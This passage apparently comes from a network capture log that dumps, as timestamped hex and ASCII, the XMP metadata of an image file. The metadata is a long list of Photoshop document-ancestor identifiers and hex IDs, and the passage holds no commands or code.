3c 72 64 66 3a 6c 69 3e 35 33 34 33 35 32 43 36 42 38 43 35 45 44 41 46 32 44 45 30 39 44 39 39 39 32 39 37 39 34 39 
32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 33 34 36 42 39 46 42 39 41 37 38 38 31 44 38 37 37 44 41 
32 37 32 31 38 41 34 36 34 31 44 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 33 36 44 34 32 30 42 31 
32 38 45 32 30 46 46 41 41 36 39 36 37 33 36 32 38 30 39 44 34 45 37 3c 
Data Ascii: 06BC</rdf:li> <rdf:li>5334BABB8A65958FF711D4DA83E68570</rdf:li> <rdf:li>53415C337B03E048
1161A4C55A7D1377</rdf:li> <rdf:li>534352C6B8C5EDAF2DE09D9992979492</rdf:li> <rdf:li>5346B9FB9A7881D8
77DA27218A4641D5</rdf:li> <rdf:li>536D420B128E20FFAA6967362809D4E7<

2022-08-11 03:42:55 UTC 4023 IN Data Raw: 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 31 43 38 35 30 46 43 32 46 32 39 39 37 46 31 34 32 37 
33 42 36 41 33 30 46 41 31 32 30 31 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 31 43 46 37 31 46 37 
36 31 43 46 33 45 41 44 44 30 45 46 32 46 39 35 45 32 38 43 39 37 33 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 36 31 44 36 41 44 33 34 36 35 46 46 41 35 39 32 33 34 38 38 33 44 38 43 38 43 38 36 33 37 37 44 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 31 45 31 32 46 34 45 45 30 45 33 31 41 36 43 44 43 38 37 41 36 33 38 43 
33 31 33 36 32 39 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 31 45 46 39 39 39 35 37 32 37 46 42 34 
33 38 32 44 44 34 39 39 41 41 32 46 36 39 36 32 30 33 3c 2f 72 64 66 3a 
Data Ascii: /rdf:li> <rdf:li>61C850FC2F2997F14273B6A30FA1201D</rdf:li> <rdf:li>61CF71F761CF3EADD0EF2
F95E28C9738</rdf:li> <rdf:li>61D6AD3465FFA59234883D8C8C86377D</rdf:li> <rdf:li>61E12F4EE0E31A6CDC87A
638C313629C</rdf:li> <rdf:li>61EF9995727FB4382DD499AA2F696203</rdf:
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2022-08-11 03:42:55 UTC 4039 IN Data Raw: 34 34 43 36 36 46 33 46 42 39 42 35 38 31 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 46 37 
36 32 36 43 33 33 46 30 38 44 30 44 39 43 32 34 44 36 39 37 39 33 42 34 44 46 45 45 43 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 36 46 37 42 45 32 44 45 37 44 32 37 45 44 34 30 31 31 45 43 37 35 43 43 44 45 43 38 30 37 32 
36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 46 42 31 34 33 31 31 36 39 41 41 44 33 32 45 46 42 42 34 4
5 33 37 41 31 33 36 30 46 37 33 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 46 43 31 34 41 31 41 33 36 
45 30 35 43 34 32 41 39 39 35 38 31 44 34 34 38 32 44 39 33 36 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 36 46 43 35 32 31 32 30 39 39 31 42 32 39 33 39 37 35 31 31 32 41 
Data Ascii: 44C66F3FB9B5811</rdf:li> <rdf:li>6F7626C33F08D0D9C24D69793B4DFEEC</rdf:li> <rdf:li>6F7BE
2DE7D27ED4011EC75CCDEC80726</rdf:li> <rdf:li>6FB1431169AAD32EFBB4E37A1360F73E</rdf:li> <rdf:li>6FC14
A1A36E05C42A99581D4482D936A</rdf:li> <rdf:li>6FC52120991B293975112A

2022-08-11 03:42:55 UTC 4142 IN Data Raw: 33 30 36 32 44 42 46 32 31 43 46 37 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 36 37 37 38 
43 39 46 31 39 39 36 38 35 32 42 32 41 44 34 34 43 37 42 33 39 46 38 36 44 46 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 37 36 37 43 30 39 44 46 45 38 36 46 46 30 39 46 33 34 46 41 46 37 45 32 34 32 35 46 43 46 36 36 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 36 38 41 30 46 31 31 38 36 39 30 36 46 32 43 45 39 30 35 36 45 
37 45 44 43 46 36 45 31 38 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 36 39 35 42 43 45 32 44 42 41 
30 38 35 30 34 37 31 36 33 42 34 41 39 42 31 33 32 36 34 34 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
37 36 39 38 34 30 38 36 45 45 34 36 32 41 34 46 33 37 32 45 30 43 44 34 
Data Ascii: 3062DBF21CF77</rdf:li> <rdf:li>76778C9F1996852B2AD44C7B39F86DF1</rdf:li> <rdf:li>767C09D
FE86FF09F34FAF7E2425FCF66</rdf:li> <rdf:li>768A0F1186906F2CE9056E7EDCF6E18B</rdf:li> <rdf:li>7695BCE
2DBA085047163B4A9B1326441</rdf:li> <rdf:li>76984086EE462A4F372E0CD4

2022-08-11 03:42:55 UTC 4166 IN Data Raw: 41 31 32 37 38 33 42 33 44 45 34 46 46 31 43 41 41 35 33 43 32 33 41 30 35 38 46 44 35 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 38 33 46 30 33 42 34 33 34 45 38 35 43 42 38 34 30 33 32 33 45 30 43 42 30 44 38 37 
46 38 35 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 33 46 39 45 39 32 45 37 34 44 45 45 30 31 44 35 
46 42 33 38 34 44 35 42 39 43 42 46 33 32 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 34 30 33 34 41 3
7 41 46 46 30 34 45 43 38 39 38 35 43 38 43 31 35 44 42 46 32 35 43 43 41 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 38 34 30 41 42 36 33 31 45 41 44 36 38 31 36 41 39 30 46 35 30 45 45 31 38 33 34 30 32 39 39 43 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 34 32 45 44 46 37 39 
Data Ascii: A12783B3DE4FF1CAA53C23A058FD5</rdf:li> <rdf:li>83F03B434E85CB840323E0CB0D87F851</rdf:li> 
<rdf:li>83F9E92E74DEE01D5FB384D5B9CBF328</rdf:li> <rdf:li>84034A7AFF04EC8985C8C15DBF25CCAE</rdf:li> 
<rdf:li>840AB631EAD6816A90F50EE18340299C</rdf:li> <rdf:li>842EDF79

2022-08-11 03:42:55 UTC 4182 IN Data Raw: 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 31 33 31 44 44 30 37 37 43 39 44 46 44 32 37 32 31 46 38 45 30 
32 44 44 38 36 39 34 42 44 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 31 33 36 32 31 41 38 32 35 31 
35 38 38 45 36 33 36 39 33 43 34 33 46 44 35 33 32 45 43 38 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 3
9 31 33 42 32 31 46 35 41 44 30 38 30 46 30 41 36 42 45 33 46 34 36 38 39 33 43 36 36 43 42 46 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 39 31 34 37 31 36 38 45 32 41 30 46 34 31 33 44 31 38 38 34 46 45 32 42 45 41 31 33 37 
45 43 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 31 34 42 41 38 32 45 44 44 31 41 35 45 44 39 32 44 
45 30 35 44 33 45 36 31 42 31 30 41 42 43 3c 2f 72 64 66 3a 6c 69 3e 20 
Data Ascii: :li> <rdf:li>9131DD077C9DFD2721F8E02DD8694BD5</rdf:li> <rdf:li>913621A8251588E63693C43FD
532EC89</rdf:li> <rdf:li>913B21F5AD080F0A6BE3F46893C66CBF</rdf:li> <rdf:li>9147168E2A0F413D1884FE2BE
A137EC2</rdf:li> <rdf:li>914BA82EDD1A5ED92DE05D3E61B10ABC</rdf:li> 

2022-08-11 03:42:55 UTC 4506 IN Data Raw: 36 31 42 35 32 38 30 44 33 35 36 36 44 31 42 34 32 34 35 44 34 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 39 38 34 46 42 45 45 34 34 37 34 36 32 45 35 33 44 32 39 39 34 32 33 34 42 46 45 45 37 44 34 42 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 38 35 30 31 34 46 34 32 31 30 37 30 34 32 39 31 34 30 43 35 36 31 41 
41 38 33 33 33 38 30 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 38 35 31 30 42 46 45 34 39 30 46 38 3
5 38 30 39 46 35 38 44 39 42 31 34 30 39 38 36 43 36 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 38 35 
36 30 46 30 41 34 37 32 36 39 44 39 45 36 42 31 36 33 43 33 45 44 38 43 39 34 43 34 42 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 39 38 35 36 36 46 46 35 32 34 39 35 43 31 32 
Data Ascii: 61B5280D3566D1B4245D47</rdf:li> <rdf:li>984FBEE447462E53D2994234BFEE7D4B</rdf:li> <rdf:l
i>985014F421070429140C561AA8333803</rdf:li> <rdf:li>98510BFE490F85809F58D9B140986C66</rdf:li> <rdf:l
i>98560F0A47269D9E6B163C3ED8C94C4B</rdf:li> <rdf:li>98566FF52495C12

2022-08-11 03:42:55 UTC 4522 IN Data Raw: 64 66 3a 6c 69 3e 41 35 42 32 46 30 31 44 36 44 39 45 37 38 43 34 43 43 36 31 38 38 39 42 39 35 46 36 30 
41 31 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 35 42 36 30 36 37 37 31 35 38 39 46 31 42 42 41 39 
30 35 38 43 33 37 33 44 33 43 36 41 44 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 35 42 41 38 42 44 3
5 34 38 33 32 39 30 39 34 33 37 31 36 46 35 38 43 44 39 45 32 30 34 36 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 41 35 43 32 35 38 36 42 36 34 36 43 43 39 43 35 41 31 34 37 33 42 36 43 31 44 37 43 45 37 43 36 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 35 43 34 32 38 44 33 35 44 43 35 43 35 46 46 41 44 45 43 43 31 39 37 33 
38 33 36 43 38 42 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
Data Ascii: df:li>A5B2F01D6D9E78C4CC61889B95F60A16</rdf:li> <rdf:li>A5B606771589F1BBA9058C373D3C6AD8
</rdf:li> <rdf:li>A5BA8BD5483290943716F58CD9E2046D</rdf:li> <rdf:li>A5C2586B646CC9C5A1473B6C1D7CE7C6
</rdf:li> <rdf:li>A5C428D35DC5C5FFADECC1973836C8B7</rdf:li> <rdf:li

2022-08-11 03:42:55 UTC 4550 IN Data Raw: 39 42 46 41 43 34 31 31 42 45 36 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 38 37 38 36 38 
44 46 31 33 31 38 32 39 38 36 46 46 39 44 37 43 30 38 36 30 35 42 37 41 46 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 41 38 37 38 45 37 34 45 45 46 32 34 35 38 30 35 30 31 33 30 37 42 46 30 30 46 37 45 30 30 39 30 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 38 37 44 35 31 45 45 36 32 33 44 31 38 41 30 32 41 41 32 34 34 41 
39 35 46 42 45 39 32 36 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 38 39 43 30 35 30 30 39 44 36 41 
31 38 39 36 45 39 39 33 46 39 32 46 45 45 34 31 37 32 31 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 
38 41 44 45 45 45 42 36 33 35 37 36 39 36 37 43 42 31 31 43 32 42 45 35 
Data Ascii: 9BFAC411BE66</rdf:li> <rdf:li>A87868DF13182986FF9D7C08605B7AF5</rdf:li> <rdf:li>A878E74E
EF24580501307BF00F7E0090</rdf:li> <rdf:li>A87D51EE623D18A02AA244A95FBE9265</rdf:li> <rdf:li>A89C0500
9D6A1896E993F92FEE417215</rdf:li> <rdf:li>A8ADEEEB63576967CB11C2BE5

2022-08-11 03:42:55 UTC 4609 IN Data Raw: 32 39 43 46 30 37 38 34 35 32 31 46 37 39 39 31 31 46 43 35 39 44 39 39 38 37 45 43 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 42 35 46 33 36 34 38 43 33 46 33 31 42 45 44 36 43 35 37 41 45 37 43 37 32 46 32 31 45 
31 31 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 36 31 33 44 39 31 38 33 31 37 38 35 32 31 43 43 30 
45 46 31 35 35 39 34 38 43 46 44 45 31 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 36 31 41 43 46 46 4
5 33 39 46 42 38 30 34 35 37 45 41 31 46 33 37 34 45 38 46 46 43 33 46 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 42 36 33 31 32 37 37 37 42 44 46 30 45 42 36 33 39 37 39 37 39 46 45 45 34 39 39 46 34 44 44 36 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 36 33 31 36 35 33 38 33 
Data Ascii: 29CF0784521F79911FC59D9987EC</rdf:li> <rdf:li>B5F3648C3F31BED6C57AE7C72F21E111</rdf:li> 
<rdf:li>B613D9183178521CC0EF155948CFDE10</rdf:li> <rdf:li>B61ACFFE39FB80457EA1F374E8FFC3F0</rdf:li> 
<rdf:li>B6312777BDF0EB6397979FEE499F4DD6</rdf:li> <rdf:li>B63165383
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2022-08-11 03:42:55 UTC 4625 IN Data Raw: 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 34 32 33 45 30 35 41 37 38 32 36 44 43 30 44 35 31 46 31 37 45 42 
36 35 30 39 46 43 32 32 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 34 32 36 36 33 42 35 33 39 36 42 
32 34 38 34 30 46 41 37 31 46 45 46 43 39 39 43 38 37 45 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 3
4 33 42 44 30 35 32 46 34 31 43 34 38 45 30 35 34 42 36 43 43 46 34 39 35 38 38 31 44 42 39 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 43 34 34 34 39 36 36 42 34 45 30 37 33 46 43 38 33 46 33 46 41 41 31 35 33 37 42 36 37 
41 39 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 34 35 32 32 44 34 39 30 41 41 33 37 30 45 38 30 39 
46 43 44 44 37 43 45 37 41 41 36 44 38 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
Data Ascii: li> <rdf:li>C423E05A7826DC0D51F17EB6509FC225</rdf:li> <rdf:li>C42663B5396B24840FA71FEFC9
9C87E7</rdf:li> <rdf:li>C43BD052F41C48E054B6CCF495881DB9</rdf:li> <rdf:li>C444966B4E073FC83F3FAA1537
B67A9D</rdf:li> <rdf:li>C4522D490AA370E809FCDD7CE7AA6D8A</rdf:li> <

2022-08-11 03:42:55 UTC 4669 IN Data Raw: 3e 20 3c 72 64 66 3a 6c 69 3e 43 41 34 46 36 38 38 39 45 43 36 36 46 41 32 36 39 42 39 33 37 46 32 38 43 
37 41 37 42 45 38 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 41 34 46 46 31 35 33 46 39 46 43 39 45 
34 43 43 38 42 36 45 44 32 31 30 37 38 38 43 46 42 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 41 37 4
2 31 32 36 46 35 37 31 36 35 30 36 45 34 30 44 42 31 30 42 41 31 42 38 39 32 46 34 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 43 41 38 34 30 30 37 35 45 35 37 41 45 45 43 30 33 45 43 39 30 46 30 41 31 45 42 30 45 42 44 37 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 41 38 35 39 39 37 43 34 34 43 32 45 30 36 42 43 34 46 38 44 
30 39 36 33 45 30 30 43 35 35 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
Data Ascii: > <rdf:li>CA4F6889EC66FA269B937F28C7A7BE82</rdf:li> <rdf:li>CA4FF153F9FC9E4CC8B6ED210788
CFB9</rdf:li> <rdf:li>CA7B126F5716506E40DB10BA1B892F4D</rdf:li> <rdf:li>CA840075E57AEEC03EC90F0A1EB0
EBD7</rdf:li> <rdf:li>CA85997C44C2E06BC4F8D0963E00C55F</rdf:li> <rd

2022-08-11 03:42:55 UTC 4685 IN Data Raw: 66 3a 6c 69 3e 44 37 39 37 42 46 42 32 43 30 36 35 30 37 41 36 38 46 30 43 38 30 33 35 34 33 45 30 42 41 
42 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 37 39 44 31 36 34 36 43 43 37 35 32 38 43 33 39 31 32 
32 43 31 35 30 42 36 46 30 36 37 32 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 37 41 38 43 37 30 35 4
5 35 36 43 41 42 31 39 37 35 38 36 32 39 31 43 39 32 39 33 42 31 46 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 44 37 43 36 44 36 44 35 38 43 37 41 42 35 42 32 36 30 33 46 37 45 37 33 38 39 46 36 36 41 38 33 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 37 43 41 36 32 43 33 43 39 34 30 33 43 39 45 32 32 42 42 43 45 45 38 42 32 
31 42 35 37 36 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
Data Ascii: f:li>D797BFB2C06507A68F0C803543E0BAB3</rdf:li> <rdf:li>D79D1646CC7528C39122C150B6F06720<
/rdf:li> <rdf:li>D7A8C705E56CAB197586291C9293B1F4</rdf:li> <rdf:li>D7C6D6D58C7AB5B2603F7E7389F66A83<
/rdf:li> <rdf:li>D7CA62C3C9403C9E22BBCEE8B21B5767</rdf:li> <rdf:li>

2022-08-11 03:42:55 UTC 4701 IN Data Raw: 44 34 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 35 33 34 34 39 37 45 32 34 37 31 36 30 30 
38 41 45 42 34 46 42 34 42 36 34 34 30 46 35 34 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 35 33 42 
46 34 41 43 42 41 44 34 33 35 34 36 33 34 43 38 32 32 32 31 35 36 34 45 43 42 44 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 45 35 33 45 46 33 31 37 34 31 33 31 41 41 37 45 35 36 32 35 46 33 42 31 42 41 34 30 35 39 45 33 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 35 34 38 34 41 43 33 44 45 38 30 37 45 31 30 32 36 41 42 30 
42 32 34 36 30 37 38 30 33 30 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 35 34 43 37 39 39 41 37 33 
42 32 32 35 41 45 37 43 46 33 46 30 38 30 43 31 37 36 33 43 41 31 3c 2f 
Data Ascii: D46</rdf:li> <rdf:li>E534497E24716008AEB4FB4B6440F54A</rdf:li> <rdf:li>E53BF4ACBAD435463
4C82221564ECBD3</rdf:li> <rdf:li>E53EF3174131AA7E5625F3B1BA4059E3</rdf:li> <rdf:li>E5484AC3DE807E102
6AB0B2460780305</rdf:li> <rdf:li>E54C799A73B225AE7CF3F080C1763CA1</

2022-08-11 03:42:55 UTC 4709 IN Data Raw: 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 41 43 42 39 44 41 45 44 34 31 39 43 35 37 34 30 
37 36 35 31 46 46 43 42 44 33 45 44 43 39 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 41 45 31 42 45 
37 42 39 35 38 31 35 43 42 36 35 42 39 35 44 45 35 41 39 35 31 38 41 33 30 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 45 41 45 41 31 43 30 31 31 46 42 45 34 31 43 34 33 36 46 39 39 35 43 42 34 42 44 33 39 32 35 41 3c 2f 7
2 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 42 30 30 38 31 44 41 33 32 46 32 46 42 46 31 42 31 32 37 43 37 37 
37 32 39 38 38 46 32 33 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 42 30 36 45 30 37 31 34 36 36 34 
37 46 44 33 42 32 32 30 35 45 34 45 31 38 43 46 46 33 32 38 3c 2f 72 64 
Data Ascii: 5</rdf:li> <rdf:li>EACB9DAED419C57407651FFCBD3EDC9E</rdf:li> <rdf:li>EAE1BE7B95815CB65B9
5DE5A9518A300</rdf:li> <rdf:li>EAEA1C011FBE41C436F995CB4BD3925A</rdf:li> <rdf:li>EB0081DA32F2FBF1B12
7C7772988F239</rdf:li> <rdf:li>EB06E07146647FD3B2205E4E18CFF328</rd

2022-08-11 03:42:55 UTC 4725 IN Data Raw: 43 43 39 35 31 32 31 44 38 46 44 34 36 36 36 37 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 
37 34 37 35 35 42 31 46 31 30 41 42 33 41 36 45 31 37 43 30 31 37 42 35 30 34 39 31 33 34 44 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 46 37 34 42 39 39 31 32 43 45 41 31 31 45 30 44 30 33 39 39 46 38 39 34 44 36 46 38 45 
38 41 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 37 35 35 45 46 42 39 45 45 36 37 37 35 43 44 36 41 3
9 41 37 44 46 38 45 39 36 33 35 31 34 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 37 36 34 44 35 46 36 
44 43 32 45 30 32 42 43 33 45 45 42 43 46 41 34 45 42 36 30 36 43 36 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 46 37 37 35 43 36 46 42 33 46 45 33 39 31 46 37 35 45 36 37 
Data Ascii: CC95121D8FD466673</rdf:li> <rdf:li>F74755B1F10AB3A6E17C017B5049134D</rdf:li> <rdf:li>F74
B9912CEA11E0D0399F894D6F8E8A3</rdf:li> <rdf:li>F755EFB9EE6775CD6A9A7DF8E9635143</rdf:li> <rdf:li>F76
4D5F6DC2E02BC3EEBCFA4EB606C67</rdf:li> <rdf:li>F775C6FB3FE391F75E67

2022-08-11 03:42:55 UTC 4899 IN Data Raw: 20 3c 72 64 66 3a 6c 69 3e 46 41 35 37 30 46 46 44 36 43 31 41 31 46 44 41 37 35 33 35 44 34 36 41 41 44 
39 32 37 44 36 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 41 35 39 46 45 33 30 37 37 46 45 42 39 33 
45 36 42 41 32 45 36 34 45 45 34 41 35 44 33 31 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 41 35 46 4
2 45 33 45 37 44 41 34 35 33 31 45 44 30 39 37 45 45 30 36 46 42 45 31 36 30 32 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 46 41 36 32 39 32 39 36 43 45 44 41 39 46 33 38 46 43 42 43 32 36 46 35 34 46 34 32 35 32 32 32 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 41 36 42 36 31 43 45 33 37 36 34 38 31 44 44 31 42 43 41 35 35 
42 42 38 46 34 37 45 45 32 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
Data Ascii:  <rdf:li>FA570FFD6C1A1FDA7535D46AAD927D62</rdf:li> <rdf:li>FA59FE3077FEB93E6BA2E64EE4A5D
316</rdf:li> <rdf:li>FA5FBE3E7DA4531ED097EE06FBE1602D</rdf:li> <rdf:li>FA629296CEDA9F38FCBC26F54F425
222</rdf:li> <rdf:li>FA6B61CE376481DD1BCA55BB8F47EE2C</rdf:li> <rdf

2022-08-11 03:42:55 UTC 5030 IN Data Raw: 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 31 66 64 65 62 34 37 62 2d 
64 64 33 61 2d 31 31 37 38 2d 61 32 30 64 2d 61 66 32 65 66 39 63 31 39 37 64 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 32 30 31 31 64 33 33 32 2d 61 32 30 
64 2d 31 31 64 39 2d 62 65 62 66 2d 38 63 35 32 63 66 32 36 62 32 34 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 32 30 31 39 31 38 37 37 2d 39 64 33 39 2d 31 
31 65 36 2d 38 61 64 35 2d 38 63 32 39 35 37 38 34 32 61 63 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 6
1 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 
Data Ascii: f:li>adobe:docid:photoshop:1fdeb47b-dd3a-1178-a20d-af2ef9c197df</rdf:li> <rdf:li>adobe:docid:photo
shop:2011d332-a20d-11d9-bebf-8c52cf26b24b</rdf:li> <rdf:li>adobe:docid:photoshop:20191877-9d39-11e6-8ad5-8c295
7842aca</rdf:li> <rdf:li>adobe:docid:photoshop:
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2022-08-11 03:42:55 UTC 5046 IN Data Raw: 65 2d 61 32 38 37 2d 65 38 38 35 30 38 63 63 36 37 39 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 34 65 64 65 31 34 64 38 2d 39 36 32 34 2d 31 31 37 
37 2d 38 39 61 35 2d 65 66 34 34 31 32 39 33 38 62 35 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 
6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 34 66 31 63 66 36 31 66 2d 38 38 63 63 2d 31 31 64 39 2d 39 
61 64 35 2d 62 66 35 34 62 39 64 30 30 32 35 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 
3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 34 66 31 66 36 65 35 61 2d 35 61 35 34 2d 31 31 37 38 2d 62 39 37 35 
2d 39 33 62 63 39 33 37 36 62 32 38 63 3c 2f 72 64 66 3a 6c 69 
Data Ascii: e-a287-e88508cc679c</rdf:li> <rdf:li>adobe:docid:photoshop:4ede14d8-9624-1177-89a5-ef4412938b5a</r
df:li> <rdf:li>adobe:docid:photoshop:4f1cf61f-88cc-11d9-9ad5-bf54b9d0025f</rdf:li> <rdf:li>adobe:docid:photosh
op:4f1f6e5a-5a54-1178-b975-93bc9376b28c</rdf:li

2022-08-11 03:42:55 UTC 5054 IN Data Raw: 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 37 33 35 30 31 61 36 2d 64 62 39 33 2d 31 31 65 37 2d 38 30 31 36 2d 39 
63 66 63 37 35 36 61 34 37 39 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 
